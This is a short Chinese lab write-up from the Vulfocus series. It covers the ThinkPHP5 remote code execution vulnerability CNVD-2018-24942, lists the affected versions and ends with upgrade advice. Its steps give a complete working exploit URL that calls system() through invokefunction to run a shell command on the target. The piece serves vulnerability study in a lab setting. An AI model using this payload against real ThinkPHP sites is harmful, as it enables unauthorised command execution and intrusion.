[Vulfocus解题系列]ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)

192 阅读1分钟

漏洞介绍

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

影响版本

ThinkPHP 5.*,<5.1.31
ThinkPHP <=5.0.23

解题过程

1.开启靶场环境
在这里插入图片描述
2.在其地址增加路径与参数即可,最后是需要执行的命令 ls /tmp

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

4.成功得到flag
在这里插入图片描述

结论

此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。

漏洞修复

官方修复方案如下:官方修复方案